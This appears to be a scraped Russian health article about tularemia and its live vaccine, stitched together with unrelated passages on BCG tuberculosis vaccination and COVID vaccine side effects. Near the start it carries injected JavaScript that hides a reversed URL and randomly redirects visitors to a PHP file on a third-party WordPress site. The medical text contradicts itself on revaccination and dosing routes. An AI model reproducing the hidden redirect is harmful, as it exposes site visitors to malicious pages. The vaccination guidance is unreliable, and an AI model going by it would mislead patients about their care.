Что такое туляремия
Туляремия (лат. tularemia) – острая зоонозная болезнь, входящая в список опасных инфекций. Имеет природную очаговость. Входит в реестр высокозаразных инфекций, обязательно подлежащих региональному наблюдению. Восприимчивость людей к бактерии достигает 100%.
$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/07/tulyaremiya-4.jpg» alt=»Бактерия Francisella tularensis» width=»660″ height=»440″ /> Бактерия, вызывающая туляремию, достаточно устойчива во внешней среде, но при кипячении погибает через 1–2 минуты
Для туляремии характерна:
- интоксикация;
- лихорадка;
- регионарный лимфаденит;
- воспаление в зоне входа инфекции.
Профилактические мероприятия
Профилактика заболевания подразделяется на 2 вида:
- Специфическую.
- Неспецифическую.
Уничтожение грызунов и другие методы неспецифической профилактики
Неспецифическая профилактика направлена на проведение контроля над выявлением вспышек болезни среди домашних животных, природными очагами инфекции, периодическое выполнение дезинсекционных и дератизационных работ (уничтожение грызунов).
При инфицировании воды в колодце сначала его очищают от трупов животных, а потом проводят дезинфекцию колодца и воды. Среди населения, проживающего в неблагополучных областях, специалисты проводят санитарно-просветительную и разъяснительную работу. В жилище больного туляремией человека проводится дезинфекция.
Неспецифическая профилактика промысловых заражений включает использование перчаток при работе по снятию шкур с животных и дезинфицирование рук после её окончания. При обмолоте злаков, скирдовании сена используются защитные маски или очки. Профилактические мероприятия проводятся в складских помещениях.
При угрозе трансмиссивного (через кровь) заражения необходимо использовать защитный костюм, ограничить посещение неблагополучных мест и использовать репелленты (отпугивающие вещества).
Специфическая профилактика: когда можно делать прививку
Основу специфической профилактики составляет вакцинация жителей начиная с 7-летнего возраста. Это относится к людям, которые проживают в эндемичных областях по туляремии. Применяют живую сухую туляремийную вакцину (лиофилизат), которая вводится однократно внутрикожно или накожно.
Перед введением инъекции проводится кожная проба на присутствие специфического иммунитета. Вакцинация требуется только при отрицательных показателях.
Инструкция по применению: куда и как вводят вакцину
- Перед процедурой вакцина разводится водой, предназначенной для инъекций, её объём указывается на этикетке.
- Смесь встряхивается 3 минуты, чтобы получить гомогенную взвесь.
- Кожа в верхней части плеча дезинфицируется этиловым спиртом и пипеткой наносятся 2 капли препарата. Расстояние между каплями должно быть не менее 3 см.
- Далее стерильным пером на каждой капле делается по 2 насечки длиной не менее 1 см.
- После этого вакцина втирается в течение 20 секунд плоской стороной пера, высыхает она через 5 минут.
При внутрикожном способе обрабатывают спиртом место введения взвеси и вводят её в объёме 0,1 мл также в область плеча. В данном варианте вакцина дополнительно разбавляется 0,9% раствором натрия хлорида (пропорция 1:19).
Иммунизация детей от туберкулёза
Если ребенок родился здоровым, и не имеет противопоказаний, вакцина от туберкулеза вводится перед выпиской из родильного дома, на 3 – 7 сутки жизни. Если же по каким-либо причинам новорожденный не был вакцинирован, то прививку необходимо поставить сразу же, когда будут устранены все препятствия, и противопоказаний не останется.Маленьким детям прививку от туберкулеза ставят в верхнюю треть плеча. Вакцина вводится подкожно. Сразу после инъекции обычно не наблюдается никаких реакций или эффектов, которые являются отсроченными во времени, и проявляются спустя 1 – 1,5 месяца после вакцинации. Главная реакция на прививку заключается в формировании на месте укола ранки с небольшим гнойником, покрытым коростой, которая постепенно подсыхает и заживает. К моменту полного заживления короста отпадает самостоятельно, а на месте укола остается небольшой рубчик размером до 10 мм в диаметре.Именно наличие такого рубчика свидетельствует о проведенной вакцинации против туберкулеза. Если по каким-то причинам отсутствует медицинская документация ребенка, и нет никаких объективных свидетельств наличия или отсутствия прививки, то вопрос решается именно по рубчику. Если рубчик отсутствует, значит прививки против туберкулеза у ребенка не было.В России эпидемиологи и специалисты Министерства здравоохранения разработали стратегию борьбы с туберкулезом, согласно которой ребенку вводятся еще две дозы вакцины БЦЖ в возрасте 7 и 14 лет. Ревакцинация в 7 и 14 лет проводится не всем детям, данные дополнительные дозы прививки получают только те, у кого отрицательная проба Манту. Необходимость продлить защиту от туберкулеза как можно дольше основана на высокой распространенности инфекции среди населения. Ребенок в возрасте 7 и 14 лет получает вакцину также в плечо, подкожно. Как и у младенцев, у детей школьного возраста спустя 1 – 1,5 месяца на месте укола формируется ранка, покрытая корочкой, которая заживает и отпадает. На месте ранки также формируется небольшой рубчик. Именно поэтому у некоторых людей на плече есть два или три рубчика, которые являются свидетельствами проведенной ревакцинации от туберкулеза в 7 и 14 лет.В России принята методика введения всего объема вакцины от туберкулеза в одно место. Однако в некоторых случаях практикуется введение препарата точечными вколами в несколько точек на плече, которые расположены близко друг к другу. Всемирная организация здравоохранения, на основании многочисленных данных, не выявила каких-либо различий в эффективности введения вакцины методом одного вкола или нескольких.На сегодняшний день для иммунизации детей от туберкулеза используются только унифицированные и стандартизированные вакцинные препараты, которые абсолютно одинаковы во всех странах мира. Именно поэтому не существует никакой разницы между вакцинами от туберкулеза, произведенными в России, или за рубежом.
Правила введения вакцины
Прививка, предупреждающая туляремию, производится однократно. Ревакцинацию в данном случае не проводят. Первую вакцинацию рекомендуется совершить в возрасте 7 лет (это касается плановой иммунизации населения).
Препарат следует вводить подкожно на латеральной поверхности плеча и в средней его трети. Перед инъекцией кожу нужно обработать раствором антисептика и в ее толщу ввести предварительно разведенную вакцину в дозе 0,1 мл.
Спустя 7 и 14 дней пациенту необходимо записаться к врачу для контроля выработки иммунитета от туляремии. При этом ему будет проведена внутрикожная проба с тулярином или исследование крови на наличие специфических антител к инфекции. При отрицательных результатах прививку нужно сделать повторно.
Противопоказания
Вакцинация – надежная защита от заболевания. К сожалению, получить прививку от туляремии могут далеко не все. Прием препарата запрещен в следующих случаях:
- детям до 7-и лет;
- при кожных либо инфекционных заболеваниях;
- онкологическим больным;
- при ослабленном иммунитете;
- при болезнях крови;
- если ранее была перенесена туляремия;
- при наличии аллергии на составляющие препарата;
- в период беременности или кормления ребенка;
- при повышенной температуре.
Важно! Если имеются любые проблемы со здоровьем, об этом обязательно нужно сообщить доктору до того, как будет сделана прививка – это поможет избежать осложнений
Туляремия: что это такое, пути передачи и симптомы
Переносчиками возбудителя туляремии являются клещи, комары, москиты и слепни. Они могут заражать не только диких теплокровных животных, но и человека, и домашних животных.
Основными источниками инфекции для человека становятся различные грызуны: мыши, суслики, ондатры, крысы и пр. Особенно часто вспышки происходят во влажной местности с густыми лесами, озерами, реками или другими водоемами, которые являются скоплением кровососущих насекомых. Они заражают грызунов или домашних животных и те начинают выделять вместе с мочой возбудителя туляремии в окружающую среду.
Инфицирование возбудителем туляремии происходит следующими путями:
- через кровь – при укусах кровососущими насекомыми;
- через пищеварительный тракт – при употреблении в пищу продуктов и воды, которые подвергались контакту с больными туляремией грызунами;
- через слизистые и кожные покровы – при их контакте с зараженными людьми и животными;
- через дыхательные пути – при вдыхании аэрозольной взвеси из инфицированной возбудителем пыли.
Особенно опасно течение этой инфекционной болезни у детей. Организм ребенка еще не полностью сформирован, а лечение заключается в длительном приеме антибиотиков. Кроме этого, детский организм намного тяжелее переносит возможные осложнения. Это могут быть воспаление легких, артриты, менингит, абсцесс легких, воспаление околосердечной сумки или брюшной полости и психоз. Кроме этого, туляремия протекает длительно и может сопровождаться рецидивами.
Симптомы этой инфекции разнообразны, их характер зависит от формы заболевания:
- бубонная – увеличение лимфоузлов в виде бубонов в месте внедрения возбудителя;
- язвенно-бубонная – кроме увеличения, лимфатические узлы изъязвляются и покрываются коркой;
- глазо-бубонная – в патологический процесс вовлекаются глаза, на их внешних слизистых возникают язвы;
- ангиозно-бубонная – сопровождается проявлениями ангины, впоследствии миндалины подвергаются некрозу;
- легочная – развивается при воздушном пути передачи инфекции и проявляется поражением лимфатической системы, трахеи, бронхов и средостения, может приводить к развитию тяжело протекающей пневмонии;
- абдоминальная – сопровождается поражением брыжеечных лимфоузлов;
- генерализированная – протекает как тяжело проявляющееся заражение крови, инфицированию подвергается не только кровь, но и многие системы и органы.
Наиболее опасной формой туляремии является генерализованная. У детей инфекция тяжело протекает и при развитии ангиозно-бубонной, абдоминальной или легочной формы.
Правила введения вакцины
Когда делают прививку от туляремии? Вводят защиту от инфекции в двух случаях:
- для экстренной профилактики заболевания;
- в плановом порядке людям, проживающим на заражённой территории.
Экстренно делают прививки в случае вспышки инфекции, а также людям, которые готовятся посетить районы неблагополучные по этому инфекционному заболеванию.
Схема вакцинации против туляремии проста — прививку делают однократно. Ревакцинацию не проводят. Через 5–7 дней и спустя 2 недели, обязательно контролируют выработку иммунитета против инфекции. Проводят внутрикожную пробу с тулярином или исследование крови на присутствие антител к бактерии. Если результат отрицательный — прививку делают повторно.
Куда делают прививку против туляремии? Вводят препарат внутрикожно или накожно на передней поверхности средней трети плеча. Техника введения отличается в зависимости от способа.
- Кожу на плече обрабатывают, после высыхания пипеткой наносят по одной капле разведённого раствора в двух местах, расстояние между ними приблизительно 3–4 см. Затем в месте нанесения препарата делают по 2 тонких параллельных разреза или насечки.
- При внутрикожном введении препарат предварительно разводят и шприцем в дозе 0,1 мл вводят в наружную поверхность средней трети плеча.
Прививка детям от туляремии вводится, начиная с 7 лет. В очагах полевого типа рекомендуется вводить вакцину с 14 лет.
Как часто возникает боль в руке после прививки?
Отсроченная гиперчувствительность кожи нераспространенный побочный эффект вакцины. В характеристиках вакцин Moderna и Pfizer предоставлена статистику по зарегистрированных побочным эффектам.
Наиболее частые побочные реакции после Moderna:
- боль в месте инъекции – 92%;
- усталость – 70%;
- головная боль – 64,7%;
- мышечная боль – 61,5%;
- боль в суставах – 46,4%;
- озноб – 45,4%;
- тошнота – 23%;
- отек подмышек – 19,8%;
- лихорадка – 15,5%;
- отек в месте инъекции – 14,7%;
- покраснение – 10%.
Побочные эффекты после прививки Pfizer:
- боль в месте инъекции >80%;
- усталость >60%;
- головная боль >50%;
- мышечная боль и озноб >30%;
- боль в суставах >20%;
- лихорадка и отек в месте инъекции >10%.
В ходе клинических испытаний препарата Moderna симптомы замедленной гиперчувствительности кожи появились у 244 из 30351 участников исследования, что составляет 0,8%. После второй дозы подобный эффект наблюдался у 68 из более 30 тыс. пациентов – 0,2%.
Противопоказания к вакцинации
Делать прививку против туляремии разрешено далеко не всем детям. Противопоказаниями являются следующие ситуации:
- перенесённая в прошлом туляремия;
- аллергия на компонент вакцины;
- острое инфекционное заболевание;
- обострение хронического заболевания;
- онкологическое образование;
- заболевания крови;
- хроническое кожное заболевание;
- сниженный иммунитет;
- сахарный диабет;
- повышенная температура.
При определённых состояниях (например, остром инфенкционном заболевании) прививки противопоказана
Некоторые из этих противопоказаний полностью исключают введение вакцины (например, аллергия или заболевание туляремией в прошлом). Другие же предполагают просто отложить прививку (острая инфекция, обострение хронического недуга и пр.). В любом случае состояние ребёнка перед предполагаемой вакцинацией внимательно оценивает лечащий врач.
Надо ли ставить прививку от туляремии?
Прививка от туляремии не внесена в обязательный календарь прививок. Поэтому многие люди узнают об этой вакцине случайно. В первый год жизни ребенок получает основную массу прививок, которые формируют фундамент для будущего иммунитета. Но педиатры не предлагают родителям поставить прививку от туляремии, если семья не проживает в неблагоприятном регионе и не имеют высокого риска инфицирования.
Ставить прививку или нет – личное дело каждого человека. Никто не в праве принуждать пациента к вакцинации. При этом врач всегда предупреждает пациента об осложнениях, которые могут возникнуть из-за отказа от вакцинации. Прививку от туляремии рекомендуют ставить по эпидемическим показаниям. График и сроки вакцинации необходимо обсуждать с врачом индивидуально.
Возбудители туляремии передаются от животного человеку. Инфекция переносится насекомыми или попадает в кровь при непосредственном контакте с биологическим материалом инфицированного животного (например, во время разделывания тушек или приготовлении мяса). Вероятность заражения есть у каждого человека. Чтобы обезопасить себя, лучше поставить прививку.
Польза вакцинации от туляремии подтверждена следующими фактами:
- Россия вошла в список стран, в которых были обнаружены возбудители Tularemia. Заразу переносят москиты, слепни, клещи.
- Статистика показывает рост уровня заболеваемости. В России в 2009 году зарегистрировано не более 60 случаев заболевания, в 2010 году – более 110. Так, в 2013 году в Ханты-Мансийске было обнаружено 500 случаев инфицирования, а через 2 недели количество заболевших выросло уже в 2 раза.
- Лечение туляремии длительное, заболевание не проходит бесследно. Антибактериальная терапия для инфицированного человека назначается на несколько месяцев. Столь длительный прием сильнодействующих препаратов негативно сказывается на работе печени, ЖКТ и общем иммунитете.
- Ослабленный организм при туляремии подвержен таким осложнениям, как менингит, пневмония, поражение суставов, нервной системы.
Многолетний опыт в лечении туляремии показывает, что бактерии не чувствительны пенициллиновому ряду. Заболевание лечат препаратами на основе левомицетина, тетрациклина, стрептомицина, рифампицина. Обычно назначается комплексный курс, состоящий из нескольких антибиотиков.
Состав и форма выпуска
Сухая вакцина против туляремии является лиофилизатом, который после приготовления вводят под кожу пациента. Основным действующим веществом в составе препарата выступает живая культура штамма Francisella tularensis 15 НИИЭГ.
Вакцина туляремийная живая сухая
Для улучшения усвоения средства также применяются дополнительные вещества, в числе которых натрия глутамата моногидрат, сахароза и другие.
Доктора могут использовать вакцину для подкожного введения (в 0,1 мл восстановленного препарата содержится (1,0±0,1) х 10х7 живых клеток микробов) и для накожного скарификационного нанесения (в 0,1 мл препарата присутствует 2,0±0,5) х 10х8 микробных клеток).
Выбор типа лекарственного средства осуществляет лечащий врач.
Препарат выпускают в сухом виде в вакуумной упаковке.
Как делается прививка?
Куда ставят и как проводится прививка от этой инфекции – обязательно расскажет врач при ее первом назначении. В экстренном порядке вакцинация выполняется при вспышках инфекции.
Препарат для профилактики туляремии вводится в переднюю поверхность средней третьей части плеча левой руки:
- Внутрикожно. Разведенную в необходимых пропорциях вакцину вводят в виде внутрикожной инъекции 0,1 мл раствора.
- Накожно. Кожа обрабатывается спиртом, а после его высыхания на нее наносится 2 капли вакцины с расстоянием 3–4 см между ними. После этого выполняется две небольших неглубоких насечки длиной 0,8–1 см, которые не должны кровить. Кровь из них должна выступать в виде небольших капелек, похожих на росу. Детям дошкольного возраста насечки делаются более короткими – не более 0,5 см. Далее раствор вакцины втирается стеклянной палочкой на протяжении 30 секунд. После этого область введения вакцины должна подсохнуть на протяжении 5–10 минут.
После вакцинации рекомендуется не мочить место введения прививки на протяжении 24 часов и не обрабатывать его спиртсодержащими растворами. Также в первое время следует отказаться от посещения людных мест.
Нужно ли делать прививку от туляремии – подскажет врач
Прививка от туляремии выполняется однократно. После ее проведения результат эффективности оценивается через 5–7 суток. Выработку иммунитета против инфекции оценивают через 12–15 дней. Для этого выполняется анализ крови или внутрикожная проба с туляремином. Если результаты этих контрольных исследований окажутся негативными, то пациенту следует провести еще одну вакцинацию.
Результаты прививок оцениваются как положительные если в месте введения вакцины наблюдаются припухлость размером от 0,5 см и местное покраснение. Негативным считается результат, при котором местные кожные изменения отсутствуют.
Начиная с 15 суток после прививки на коже в области введения вакцины появляется корочка, и с этого момента местные проявления начинают регрессировать. После полного рассасывания уплотнения и устранения корочки на поверхности кожи остается небольшой рубец и участок неокрашенной кожи.
Для обеспечения защиты от туляремии повторная вакцинация в районах с высоким уровнем заболеваемости должна выполняться через каждые 5 лет. Эта процедура проводится так же, как и прививка от туляремии.
Сроки и правила вакцинации
Прививку ставят в медицинских учреждениях, имеющих разрешение на введение вакцины. Предварительно пациента осматривает врач, чтобы исключить возможные противопоказания. Прививку делают накожно или подкожно. Обычно для инъекции выбирают область предплечья.
Прививка ставится один раз. Ревакцинацию не проводят. Сразу после введения вакцины пациента наблюдает врач в течение 20-30 минут. Это необходимо для того, чтобы исключить или своевременно предотвратить аллергическую реакцию. Через 2 недели после вакцинации необходимо провести тест. Результат позволит оценить качество иммунного ответа. При отсутствии антител в отношении туляремии и отрицательной реакции теста укол ставят повторно.
Прививка от туберкулеза – зачем она нужна?
Прививка от туберкулеза необходима для защиты новорожденного от опасного инфекционного заболевания, и его профилактики. Данная вакцина не способна защитить ребенка от инфицирования микобактериями, но облегчает течение инфекции, профилактируя менингит и диссеминированную форму заболевания, которые часто оканчиваются смертью малыша.В связи с не радужными эпидемиологическими данными, многих интересует вопрос – а для чего же эта прививка от туберкулеза? Дело в том, что опасность первичного инфицирования микобактериями детей в возрасте до 5 лет заключается в несовершенстве их иммунной системы, которая реагирует очень бурно. В итоге первичный контакт ребенка с микобактериями может привести к формированию менингита или генерализованной формы туберкулеза, которые очень тяжело протекают, и практически всегда приводят к смерти детей. Именно для профилактики такого тяжелого течения болезни у детей и ставится прививка уже в первые дни жизни новорожденного. Произвести иммунизацию необходимо как можно раньше, поскольку распространенность микобактерий в нашей стране очень высока. В дальнейшем вакцинация от туберкулеза помогает организму ребенка справляться с попавшими микобактериями, эффективно нейтрализуя их и предотвращая развитие болезни легких.Министерство здравоохранения России приняло стратегию поголовной вакцинации младенцев против туберкулеза, поскольку распространенность инфекции очень высока, а масштабы эпидемии не удается снизить и локализовать, несмотря на меры, предпринимаемые для раннего выявления заболевания
Важно понимать, что иммунизация не сможет уберечь от заражения туберкулезом, но позволяет не допустить развития менингитов или диссеминированных форм инфекции, которые у детей до 2 лет практически всегда приводят к смерти.Не стоит думать, что ребенок не может заразиться туберкулезом, поскольку не контактирует с больными активной формой инфекции, не посещает потенциально опасных мест, живет в хороших условиях и т.д. Распространенность данного заболевания в России очень высока, а передача микобактерий может быть осуществлена и носителем, который не страдает активной формой заболевания
Более того, именно такие люди являются скрытыми источниками инфекции. Основной путь распространения туберкулеза – это именно передача микробов человеком – носителем, а не больным. Поэтому риск инфицирования у ребенка в реальности очень высок.Опасность туберкулеза для непривитого ребенка заключается в молниеносном развитии менингитов и генерализованных форм инфекции. Если таким детям не проводятся интенсивная терапия и реанимационные мероприятия, то умирают все заболевшие. Если же заболевает привитый ребенок, то 85% имеют хорошие шансы на выздоровление при развитии менингита или диссеминированного туберкулеза. Вакцина против туберкулеза работает на протяжении 15 – 20 лет, после чего ее эффективность снижается до нулевого уровня. Однако введение второй дозы прививки совершенно неэффективно, поэтому ревакцинации не проводятся.К сожалению, вакцинация от туберкулеза выполняет свое назначение только наполовину – она предотвращает развитие смертельных форм заболевания, но не уменьшает количество больных и скорость передачи инфекции. Однако для защиты новорожденного малыша от развития тяжелых форм болезни необходимо ставить эту прививку.
Когда делают прививку от туляремии детям?
Прививка от туляремии показана далеко не всем детям. Первым критерием, который делает вакцинацию необходимой, является регион проживания ребенка.
Как и в случае со взрослыми, вакцинация требуется там, где происходит частое инфицирование граждан.
Вторым критерием является возрастной порог проживающих в потенциально опасных в плане инфицирования зонах. Детям, достигшим возраста 7 лет, делают прививку от туляремии в обязательном порядке.
Вакцинация детей после 7 лет является обязательной, если ранее в месте проживания маленького пациента была выявлена вспышка заболевания.
Противопоказания
Вакцинация от туляремии не проводится, если во время осмотра перед прививкой у ребенка были выявлены следующие противопоказания:
- любая острая инфекция;
- лихорадка;
- индивидуальная непереносимость вакцины;
- ранее перенесенная туляремия;
- состояния иммунодефицита: ВИЧ, онкологические патологии, туберкулез;
- общее истощение;
- обострение хронических заболеваний;
- хронические патологии: заболевания и пороки сердца, бронхиальная астма, сахарный диабет, тяжелые патологии печени, ревматизм в период обострения и др.;
- недавняя вакцинация от других инфекций, но кроме бруцеллеза и чумы.
При необходимости перед назначением туляремийной прививки врач рекомендует родителям ребенка провести дополнительные исследования для исключения всех возможных противопоказаний.
Проведение БЦЖ: по календарю и индивидуально
Прививка ставится на 3-4 сутки после рождения, только с письменного согласия родителей. Если у ребенка имеются противопоказания (временные или постоянные), ему дается медотвод с отметкой в обменной карте. В дальнейшем, если противопоказаний уже нет, ребенка иммунизируют по индивидуальному графику. Прививка делается отдельно от всех других вакцин, в отдельный день
Важно провести ее как можно раньше на первом году, чтобы начала формироваться иммунная система
Есть два варианта вакцины – БЦЖ и БЦЖ-М (в ней доза вдвое уменьшена). БЦЖ-М рекомендуют для ослабленного или ребенка с низким весом, прививают по индивидуальному календарю, спустя некоторое время.
Нужно ли делать прививку от туляремии детям?
Необходимость вакцинации от туляремии актуальна для определенной группы лиц и дети 7–14 лет входят в их число. При особенно опасной ситуации вакцинация проводится даже маленьким детям, начиная с двухлетнего возраста.
Эта мера профилактики включается в календарь обязательных прививок. Это делается либо по показаниям экстренной профилактики инфекции, либо рекомендуется людям, которые с высокой долей вероятности могут столкнуться с инфекцией. При вспышках вакцинирование должно проводиться в максимально сжатые сроки. Прививки также выполняются в регионах, где в прошлом были зарегистрированы случаи заболевания.
На территории РФ вспышки туляремии наблюдались в Западно-Сибирском, Центральном и Северном регионах. Эпидемиологи этих областей постоянно следят за эпидобстановкой. Они составляют свои прогнозы о необходимости проведения вакцинаций от туляремии детям и другим лицам. Кроме этого, вакцинация от данной инфекции рекомендуется тем, кто собирается посетить страны с высоким уровнем заболеваемости.
Показания и противопоказания
Необходимость вакцинации населения устанавливают центры Госсанэпиднадзора. Предусмотрена не только плановая, но и внеплановая вакцинация. Ревакцинация должна проводиться только по эпидемическим показаниям. Состояние иммунитета взрослого населения определяют, используя серологические и аллергические методы.
Кому обязательна вакцинация
Обязательно должны прививаться от инфекции:
- специалисты, выполняющие профилактические работы на заражённой территории;
- учёные, изучающие клетки возбудителя;
- туристы, выезжающие в неблагополучные по туляремии страны;
- персонал, работающий в скотоводческих и рыбных хозяйствах, расположенных в заражённых областях.
Когда делать прививку нельзя: осложнения при беременности
Вакцинация нежелательна или недопустима в следующих случаях:
- заболевания крови;
- злокачественные новообразования;
- дерматологические проблемы;
- грипп или ОРЗ;
- наличие иммунитета к туляремии;
- аллергия на компоненты вакцины.
Вакцинация противопоказана беременным и кормящим грудью женщинам. Заболевание крайне негативно влияет на процесс вынашивания ребёнка, поэтому позаботиться о здоровье следует ещё в период планирования семьи. При обнаружении инфекции лечение женщины должен проводить только профильный специалист. Он принимает решение о назначении конкретных препаратов и целесообразности дальнейшего вынашивания плода.